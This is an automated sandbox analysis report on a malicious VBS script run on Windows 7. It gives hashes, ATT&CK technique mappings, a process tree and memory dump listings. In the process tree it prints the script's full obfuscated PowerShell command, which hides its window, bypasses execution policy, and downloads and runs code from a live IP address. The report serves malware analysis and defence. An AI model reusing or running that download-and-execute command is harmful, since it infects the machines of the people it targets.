6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
28/01/2025, 12:24

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General

Target

6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19.vbs
Size

6KB
MD5

f7f8fe92731aff901ca5f2383ac1a13d
SHA1

961e1819e8c63e8fcfd9100e985ff30d7e112e9d
SHA256

6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19
SHA512

2b1baca6c86fde32dcb81b60f717b3567160ca9417119b66ff7904e0f49cb60ca16c5820f550ee7e3f07440e41b40cd8adbcf65d5ba71e6249079129ed60225f
SSDEEP

96:egvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvbRvt:xLPjGZOmyX1

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2484	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2484	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2484	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2484	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 772 wrote to memory of 2484	772	WScript.exe	30
PID 772 wrote to memory of 2484	772	WScript.exe	30
PID 772 wrote to memory of 2484	772	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6b77f5653e677200c58e8b184676d5b32ab551cfcea76a87e227c1dbdeebfc19.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$UYLmDsQZIkAc='IeX(NeW-OBJeCT NeT.W';$znhPDUdSLEIZ='eBCLIeNT).DOWNLO';$CMJiImrPvzVh='repoooos(''http://81.10.39.58:8080/test//Update.php'')'.RePLACe('repoooos','ADSTRING');Sleep 1;IeX($UYLmDsQZIkAc+$znhPDUdSLEIZ+$CMJiImrPvzVh);
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2484-4-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2484-7-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-6-0x0000000002820000-0x0000000002828000-memory.dmp

Filesize
32KB

Download
memory/2484-5-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2484-9-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-8-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-10-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-11-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-16-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

Filesize
4KB

Download
memory/2484-17-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-18-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download
memory/2484-19-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

Filesize
9.6MB

Download